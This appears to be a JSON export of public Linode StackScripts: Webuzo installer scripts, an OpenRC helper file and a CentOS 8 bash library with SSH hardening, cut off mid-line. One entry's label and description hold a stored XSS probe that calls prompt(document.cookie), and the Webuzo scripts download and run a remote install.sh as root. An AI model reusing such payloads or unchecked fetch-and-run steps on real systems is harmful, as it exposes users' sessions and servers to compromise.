"label": "CS-Cart powered by Webuzo", "description": "CS-Cart is the best shopping
cart solution for building an ecommerce website of any size: from a small web
store to a virtual shopping mall. A ready storefront, support for many payment
and shipping options, full inventory control, unlimited products, promotional
tools, and other ecommerce software features out-of-the-box.\r\n\r\nCS-Cart
shopping cart software offers a search engine friendly environment that involves
the tableless layout, customizable META tags, friendly URLs and Google sitemap.
This all contributes well to the proper indexing of your web store and generally
improves its ranking among the popular search engines like Google, Yahoo! Search
and Bing.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users
deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX,
PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou
can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to
Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure CS-Cart
and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"CS-Cart powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install CS-Cart and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About CS-Cart :\n# CS-Cart
is the best shopping cart solution for building an ecommerce website of any
size: from a small \n# web store to a virtual shopping mall. \n# A ready
storefront, support for many payment and shipping options, full inventory control,
\n# unlimited products, promotional tools, and other ecommerce software features
out-of-the-box.\n###########################################################################################################\n\n#
Install CS-Cart Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=479&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
CS-Cart and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, CS-Cart has been successfully installed\"\necho \" \"\necho
\"You can now configure CS-Cart and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 606726, "username":
"zek1", "user_gravatar_id": "db3274167e091d0a1fdd8e206c5bf786", "label": "zek''%3E%3Cstrong%3Exss%3Ch1%09onmouseover=prompt(document.cookie",
"description": "zek''%3E%3Cstrong%3Exss%3Ch1%09onmouseover=prompt(document.cookie)%3Exss",
"ordinal": 0, "logo_url": "", "images": ["linode/opensuse15.0"], "deployments_total":
0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash",
"user_defined_fields": []}, {"id": 9223, "username": "webuzo", "user_gravatar_id":
"cf0348f835d60e6d133040f49bb36ec5", "label": "Chive powered by Webuzo", "description":
"Chive is a modern Open-Source MySQL Data Management tool. With it''s fast and
elaborate user interface it is getting very popular especially by web engineers.
Chive was created because of an disaffection with existing tools. They usually
were hard to handle and very time-consuming while the daily use of an web engineer.\r\n\r\nChive
is a free, open source, web-based database management tool, designed to bring
joy to web developers - with easy administration, super fast UI and state of
the art web technologies. Based on top of the current version of the Yii framework,
Chive takes advantage of the MVC design pattern and unit testing. \r\n\t\t\t\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
Chive and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Chive powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Chive and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Chive :\n# Chive
is a modern Open-Source MySQL Data Management tool.\n# With it''s fast and
elaborate user interface it is getting very popular especially by web engineers.\n# Chive
was created because of an disaffection with existing tools.\n# They usually
were hard to handle and very time-consuming while the daily use of an web engineer.\n###########################################################################################################\n\n#
Install Chive Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=398&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Chive and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Chive has been successfully installed\"\necho \" \"\necho
\"You can now configure Chive and Softaculous Webuzo at the following URL :\"\necho
\"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978951, "username":
"meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label":
"meenu", "description": "description", "ordinal": 0, "logo_url": "", "images":
["linode/alpine3.12"], "deployments_total": 0, "deployments_active": 0, "is_public":
true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "Revision Note", "script": "#!/bin/bash\r\n\r\nfdgrthtyjuy7i", "user_defined_fields":
[]}, {"id": 9224, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "Commentics powered by Webuzo", "description": "Commentics is a free,
advanced PHP comment script with many features. Professionally written and with
open source code, its main aims are to be integrable, customizable and secure.
\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy
Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP,
Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can
get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation
Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the
installation process, access http://your-ip:2004 to configure Commentics and
Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal":
0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Commentics powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Commentics and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Commentics :\n# Commentics
is a free, advanced PHP comment script with many features.\n# Professionally
written and with open source code, its main aims are to be integrable, customizable
and secure. \n###########################################################################################################\n\n#
Install Commentics Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=446&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Commentics and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Commentics has been successfully installed\"\necho \" \"\necho
\"You can now configure Commentics and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 10248, "username":
"regna", "user_gravatar_id": "3bd1beb6402a8ba4bb1606f0ad2cf639", "label": "functions.sh",
"description": "functions.sh from sys-apps/openrc, exports and contains various
helpful functions.", "ordinal": 0, "logo_url": "", "images": ["linode/gentoo"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"openrc-0.12.4", "script": "#!/bin/bash\n# Copyright (c) 2007-2009 Roy Marples
<roy@marples.name>\n# Released under the 2-clause BSD license.\n\n# Allow any
sh script to work with einfo functions and friends\n# We also provide a few
helpful functions for other programs to use\n\nRC_GOT_FUNCTIONS=\"yes\"\n\neindent()\n{\n :
$(( EINFO_INDENT = ${EINFO_INDENT:-0} + 2 ))\n [ \"$EINFO_INDENT\" -gt
40 ] && EINFO_INDENT=40\n export EINFO_INDENT\n}\n\neoutdent()\n{\n :
$(( EINFO_INDENT = ${EINFO_INDENT:-0} - 2 ))\n [ \"$EINFO_INDENT\" -lt
0 ] && EINFO_INDENT=0\n return 0\n}\n\nyesno()\n{\n [ -z \"$1\"
] && return 1\n\n case \"$1\" in\n [Yy][Ee][Ss]|[Tt][Rr][Uu][Ee]|[Oo][Nn]|1)
return 0;;\n [Nn][Oo]|[Ff][Aa][Ll][Ss][Ee]|[Oo][Ff][Ff]|0) return
1;;\n esac\n\n local value=\n eval value=\\$${1}\n case
\"$value\" in\n [Yy][Ee][Ss]|[Tt][Rr][Uu][Ee]|[Oo][Nn]|1) return
0;;\n [Nn][Oo]|[Ff][Aa][Ll][Ss][Ee]|[Oo][Ff][Ff]|0) return 1;;\n *)
vewarn \"\\$$1 is not set properly\"; return 1;;\n esac\n}\n\nrc_runlevel()\n{\n rc-status
--runlevel\n}\n\n_sanitize_path()\n{\n local IFS=\":\" p= path=\n for
p in $PATH; do\n case \"$p\" in\n /lib64/rc/bin|/lib64/rc/sbin);;\n /bin|/sbin|/usr/bin|/usr/sbin);;\n /usr/bin|/usr/sbin);;\n /usr/local/bin|/usr/local/sbin);;\n *)
path=\"$path${path:+:}$p\";;\n esac\n done\n echo
\"$path\"\n}\n\n# Allow our scripts to support zsh\nif [ -n \"$ZSH_VERSION\"
]; then\n emulate sh\n NULLCMD=:\n alias -g ''${1+\"$@\"}''=''\"$@\"''\n setopt
NO_GLOB_SUBST\nfi\n\n# Make a sane PATH\n_PREFIX=\n_PKG_PREFIX=/usr\n_LOCAL_PREFIX=/usr/local\n_LOCAL_PREFIX=${_LOCAL_PREFIX:-/usr/local}\n_PATH=/lib64/rc/bin\ncase
\"$_PREFIX\" in\n \"$_PKG_PREFIX\"|\"$_LOCAL_PREFIX\") ;;\n *)
_PATH=\"$_PATH:$_PREFIX/bin:$_PREFIX/sbin\";;\nesac\n_PATH=\"$_PATH\":/bin:/sbin:/usr/bin:/usr/sbin\n\nif
[ -n \"$_PKG_PREFIX\" ]; then\n _PATH=\"$_PATH:$_PKG_PREFIX/bin:$_PKG_PREFIX/sbin\"\nfi\nif
[ -n \"$_LOCAL_PREFIX\" ]; then\n _PATH=\"$_PATH:$_LOCAL_PREFIX/bin:$_LOCAL_PREFIX/sbin\"\nfi\n_path=\"$(_sanitize_path
\"$PATH\")\"\nPATH=\"$_PATH${_path:+:}$_path\" ; export PATH\nunset _sanitize_path
_PREFIX _PKG_PREFIX _LOCAL_PREFIX _PATH _path\n\nfor arg; do\n case \"$arg\"
in\n --nocolor|--nocolour|-C)\n EINFO_COLOR=\"NO\"
; export EINFO_COLOR\n ;;\n esac\ndone\n\nif [
-t 1 ] && yesno \"${EINFO_COLOR:-YES}\"; then\n if [ -z \"$GOOD\" ];
then\n eval $(eval_ecolors)\n fi\nelse\n # We need
to have shell stub functions so our init scripts can remember\n # the
last ecmd\n for _e in ebegin eend error errorn einfo einfon ewarn ewarnn
ewend \\\n vebegin veend veinfo vewarn vewend; do\n eval
\"$_e() { local _r; command $_e \\\"\\$@\\\"; _r=\\$?; \\\n EINFO_LASTCMD=$_e;
export EINFO_LASTCMD ; return \\$_r; }\"\n done\n unset _e\nfi",
"user_defined_fields": []}, {"id": 647176, "username": "sacredheartmedia", "user_gravatar_id":
"4b40d1fa8bcb9d6414b6468fb2ef0e75", "label": "StackScript Bash Library for CentOS
8", "description": "A collection of useful bash functions specifically crafted
for CentOS8 to be included in other bash StackScripts with a \"source <ssinclude
StackScriptID=647176>\" line.\n\nThis StackScript does nothing on its own. Do
not deploy directly.\n\nJune 3, 2020 - THIS STACKSCRIPT IS UNDER DEVELOPMENT.",
"ordinal": 0, "logo_url": "", "images": ["linode/centos8"], "deployments_total":
0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n#\n#
StackScript Bash Library for CentOS 8\n#\n# Inspired by Chris Aker''s StackScript
Bash Library\n# https://cloud.linode.com/stackscripts/1\n# All rights reserved.\n#\n#
Redistribution and use in source and binary forms, with or without modification,
\n# are permitted provided that the following conditions are met:\n#\n# * Redistributions
of source code must retain the above copyright notice, this\n# list of conditions
and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce
the above copyright notice, this\n# list of conditions and the following disclaimer
in the documentation and/or\n# other materials provided with the distribution.\n#\n#
* Neither the name of Linode LLC nor the names of its contributors may be\n#
used to endorse or promote products derived from this software without specific
prior\n# written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT
HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n# EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n# OF MERCHANTABILITY
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT\n# SHALL THE
COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n#
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH\n# DAMAGE.\n\nsystem_update() {\n # updates all packages
and adds the epel repository\n dnf -y install epel-release\n dnf -y update\n dnf
config-manager --set-enabled PowerTools\n}\n\ninstall_essentials() {\n #
installs commonly used packages \n dnf -y install iptables-services ipset
dnf-utils bind-utils policycoreutils-python-utils zip tar htop wget\n}\n\nget_primary_ip()
{\n # returns the system''s primary IPv4 address\n hostname -I | cut -d
'' '' -f 1\n}\n\nget_primary_ip6() {\n # returns the system''s primary IPv6
address\n hostname -I | cut -d '' '' -f 2\n}\n\nget_rdns() {\n # returns
the reverse dns of an IPv4 address\n # ${1} - required - the IPv4 address
to lookup\n local -r ip_address=\"${1}\"\n if [ -z \"${ip_address}\" ];
then\n printf \"ERROR: (get_rdns) IP address undefined\\n\"\n return
1;\n fi\n host \"${ip_address}\" | awk ''/pointer/ {print $5}'' | sed
''s/\\.$//''\n}\n\nget_rdns_primary_ip() {\n # returns the reverse dns of
the system''s primary IPv4 address\n host \"$(hostname -I | cut -d '' ''
-f 1)\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//''\n}\n\nset_hostname()
{\n # sets the system''s hostname\n # ${1} - required - the hostname to
assign\n local -r hostname=\"${1}\"\n if [ -z \"${hostname}\" ]; then\n printf
\"ERROR: (set_hostname) hostname undefined\\n\"\n return 1;\n fi\n hostnamectl
set-hostname \"${hostname}\"\n}\n\nadd_host_entry() {\n # adds an entry to
/etc/hosts\n # ${1} - required - the IP address to set a hosts entry for\n #
${2} - required - the fully-qualified domain name to set to the IP\n # ${3}
- optional - the hostname to set to the IP\n local -r ip_address=\"${1}\"\n local
-r fqdn=\"${2}\"\n local -r hostname=\"${3}\"\n local -r rdns=\"$(host
\"$(hostname -I | cut -d '' '' -f 1)\" | awk ''/pointer/ {print $5}'' | sed
''s/\\.$//'')\"\n if [ -z \"${ip_address}\" ] || [ -z \"${fqdn}\" ]; then\n printf
\"ERROR: (add_host_entry) IP address and/or FQDN undefined\\n\"\n return
1;\n fi\n echo \"${ip_address} ${fqdn} ${rdns} ${hostname}\" >> /etc/hosts\n}\n\nset_timezone()
{\n # sets the system''s timezone\n # ${1} - optional - timezone to set
on the system\n local -r timezone=\"${1}\"\n if [ -z \"${timezone}\" ];
then\n timedatectl set-timezone \"UTC\"\n return 1;\n fi\n timedatectl
set-timezone \"${timezone}\"\n}\n\nadd_user() {\n # creates a new user \n #
${1} - required - username\n # ${2} - required - password\n local -r username=\"${1}\"\n local
-r password=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${password}\"
]; then\n printf \"ERROR: (add_user) username and/or password undefined\\n\"\n return
1;\n fi\n if id \"${username}\" >/dev/null 2>&1; then\n printf
\"ERROR: (add_user) user already exists\\n\"\n return 1;\n fi\n useradd
\"${username}\"\n echo \"${username}:${password}\" | chpasswd\n}\n\nadd_sudo_user()
{\n # creates a new user with sudo privileges\n # ${1} - required - username\n #
${2} - required - password\n local -r username=\"${1}\"\n local -r password=\"${2}\"\n if
[ -z \"${username}\" ] || [ -z \"${password}\" ]; then\n printf \"ERROR:
(add_sudo_user) username and/or password undefined\\n\"\n return 1;\n fi\n if
id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_sudo_user)
user already exists\\n\"\n return 1;\n fi\n useradd \"${username}\"\n echo
\"${username}:${password}\" | chpasswd\n usermod -aG wheel \"${username}\"\n}\n\nremove_user()
{\n # removes a user \n # ${1} - required - username\n local -r username=\"${1}\"\n if
[ -z \"${username}\" ]; then\n printf \"ERROR: (remove_user) username
undefined\\n\"\n return 1;\n fi\n if ! id \"${username}\" >/dev/null
2>&1; then\n printf \"ERROR: (remove_user) user not found\\n\"\n return
1;\n fi\n killall -KILL -u \"${username}\"\n userdel -Z -r -f \"${username}\"\n}\n\nadd_public_key()
{\n # adds a public key to authorized_keys for the specified user\n #
${1} - required - username\n # ${2} - required - public key\n local -r
username=\"${1}\"\n local -r public_key=\"${2}\"\n if [ -z \"${username}\"
] || [ -z \"${public_key}\" ]; then\n printf \"ERROR: (add_public_key)
username and/or public key undefined\\n\"\n return 1;\n fi\n if
! id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_public_key)
user not found\\n\"\n return 1;\n fi\n if [ \"${username}\" ==
\"root\" ]; then\n mkdir -p /root/.ssh\n touch /root/.ssh/authorized_keys\n echo
\"${public_key}\" >> /root/.ssh/authorized_keys\n return 1;\n fi\n mkdir
-p /home/\"${username}\"/.ssh\n chmod -R 700 /home/\"${username}\"/.ssh/\n touch
/home/\"${username}\"/.ssh/authorized_keys\n echo \"${public_key}\" >> /home/\"${username}\"/.ssh/authorized_keys\n chown
-R \"${username}\":\"${username}\" /home/\"${username}\"/.ssh\n chmod 600
/home/\"${username}\"/.ssh/authorized_keys\n}\n\nadd_public_key_from_github()
{\n # adds public keys from a github account to authorized_keys for the specified
user\n # ${1} - required - username\n # ${2} - required - github account\n local
-r username=\"${1}\"\n local -r github_account=\"${2}\"\n if [ -z \"${username}\"
] || [ -z \"${github_account}\" ]; then\n printf \"ERROR: (add_public_key_from_github)
username and/or github account undefined\\n\"\n return 1;\n fi\n if
! id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_public_key_from_github)
user not found\\n\"\n return 1;\n fi\n local -r public_key=\"$(curl
-sSL https://github.com/\"${github_account}\".keys)\"\n if [ \"${public_key}\"
== \"Not Found\" ]; then\n printf \"ERROR: (add_public_key_from_github)
%s.keys not found\\n\" \"${github_account}\"\n return 1;\n fi\n if
[ \"${username}\" == \"root\" ]; then\n mkdir -p /root/.ssh\n touch
/root/.ssh/authorized_keys\n echo \"${public_key}\" >> /root/.ssh/authorized_keys\n return
1;\n fi\n mkdir -p /home/\"${username}\"/.ssh\n chmod -R 700 /home/\"${username}\"/.ssh/\n touch
/home/\"${username}\"/.ssh/authorized_keys\n echo \"${public_key}\" >> /home/\"${username}\"/.ssh/authorized_keys\n chown
-R \"${username}\":\"${username}\" /home/\"${username}\"/.ssh\n chmod 600
/home/\"${username}\"/.ssh/authorized_keys\n}\n\ndisable_root_login() {\n #
disables root SSH access\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed
-i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin no/i\" /etc/ssh/sshd_config\n systemctl
restart sshd\n}\n\nenable_root_login() {\n # enables root SSH access (with
a key only)\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed
-i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin prohibit-password/i\"
/etc/ssh/sshd_config\n systemctl restart sshd\n}\n\ndisable_password_authentication()
{\n # disables password authentication\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed
-i -e \"s/[# \\t]*PasswordAuthentication [a-z]*/PasswordAuthentication no/i\"
/etc/ssh/sshd_config\n systemctl restart sshd\n}\n\nenable_password_authentication()
{\n # enables password authentication\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed
-i -e \"s/[# \\t]*PasswordAuthentication [a-z]*/PasswordAuthentication yes/i\"
/etc/ssh/sshd_config\n systemctl restart sshd\n}\n\nget_ssh_port() {\n #
returns the system''s SSH port number\n sed -n -e ''s/Port //p'' /etc/ssh/sshd_config\n}\n\nset_ssh_port()
{\n # reassigns the SSH port number \n # ${1} - required - SSH port\n local
-r ssh_port=\"${1}\"\n if [ -z \"${ssh_port}\" ]; then\n printf \"ERROR:
(set_ssh_port) SSH port undefined\\n\"\n return 1;\n fi\n cp -n
/etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*Port
[0-9]*/Port ${ssh_port}/i\" /etc/ssh/sshd_config\n if [ ${ssh_port} != \"22\"
]; then\n semanage port -a -t ssh_port_t -p tcp \"${ssh_port}\"\n fi\n systemctl
restart sshd\n}\n\nharden_ssh() {\n # hardens ssh by tweaking default configuration\n #
SEE: https://www.sshaudit.com/hardening_guides.html#rhel8\n cp -n /etc/ssh/sshd_config
/etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*AddressFamily [a-z]*/AddressFamily
inet/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin
no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*StrictModes [a-z]*/StrictModes
yes/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*MaxAuthTries [0-9]*/MaxAuthTries
3/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PubkeyAuthentication [a-z]*/PubkeyAuthentication
yes/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PasswordAuthentication
[a-z]*/PasswordAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[#
\\t]*HostbasedAuthentication [a-z]*/HostbasedAuthentication no/i\" /etc/ssh/sshd_config\n sed
-i -e \"s/[# \\t]*ChallengeResponseAuthentication [a-z]*/ChallengeResponseAuthentication
no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*GSSAPIAuthentication
[a-z]*/GSSAPIAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[#
\\t]*AllowAgentForwarding [a-z]*/AllowAgentForwarding no/i\" /etc/ssh/sshd_config\n sed
-i -e \"s/[# \\t]*AllowTcpForwarding [a-z]*/AllowTcpForwarding no/i\" /etc/ssh/sshd_config\n sed
-i -e \"s/[# \\t]*PermitTunnel [a-z]*/PermitTunnel no/i\" /etc/ssh/sshd_config\n sed
-i -e \"s/[# \\t]*X11Forwarding [a-z]*/X11Forwarding no/i\" /etc/ssh/sshd_config\n sed
-i -e \"s/[# \\t]*TCPKeepAlive [a-z]*/TCPKeepAlive no/i\" /etc/ssh/sshd_config\n sed
-i -e \"s/[# \\t]*IgnoreRhosts [a-z]*/IgnoreRhosts yes/i\" /etc/ssh/sshd_config\n sed
-i -e \"s/[# \\t]*PermitEmptyPasswords [a-z]*/PermitEmptyPasswords no/i\" /etc/ssh/sshd_config\n sed
-i -e \"s/[# \\t]*UsePAM [a-z]*/UsePAM no/i\" /etc/ssh/sshd_config\n sed
-i -e \"s/[# \\t]*UseDNS [a-z]*/UseDNS no/i\" /etc/ssh/sshd_config\n sed
-i -e \"s/[# \\t]*ClientAliveInterval [0-9]*/ClientAliveInterval 300/i\" /etc/ssh/sshd_config\n sed
-i -e \"s/[# \\t]*ClientAliveCountMax [0-9]*/ClientAliveCountMax 3/i\" /etc/ssh/sshd_config\n sed
-i -e \"s/[# \\t]*MaxSessions [0-9]*/MaxSessions 3/i\" /etc/ssh/sshd_config\n sed
-i -e \"s/[# \\t]*LoginGraceTime [0-9a-z]*/LoginGraceTime 30/i\" /etc/ssh/sshd_config\n sed
-i -e \"s/[# \\t]*LogLevel [a-z]*/LogLevel VERBOSE/i\" /etc/ssh/sshd_config\n #
disables the ECDSA host key\n sed -i -e \"s/^HostKey \\/etc\\/ssh\\/ssh_host_ecdsa_key$/\\#HostKey
\\/etc\\/ssh\\/ssh_host_ecdsa_key/g\" /etc/ssh/sshd_config\n # regenerates
the RSA and ED25519 keys\n rm -f /etc/ssh/ssh_host_*\n ssh-keygen -t rsa
-b 4096 -f /etc/ssh/ssh_host_rsa_key -N \"\"\n ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key
-N \"\"\n chgrp ssh_keys /etc/ssh/ssh_host_ed25519_key /etc/ssh/ssh_host_rsa_key\n chmod
g+r /etc/ssh/ssh_host_ed25519_key /etc/ssh/ssh_host_rsa_key\n # removes the
small Diffie-Hellman moduli\n awk ''$5 >= 3071'' /etc/ssh/moduli > /etc/ssh/moduli.safe\n mv
-f /etc/ssh/moduli.safe /etc/ssh/moduli\n # restricts supported key exchange,
cipher, and MAC algorithms\n cp -n /etc/crypto-policies/back-ends/opensshserver.config
/etc/crypto-policies/back-ends/opensshserver.config.orig\n echo -e \"CRYPTO_POLICY=''-oCiphers=chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
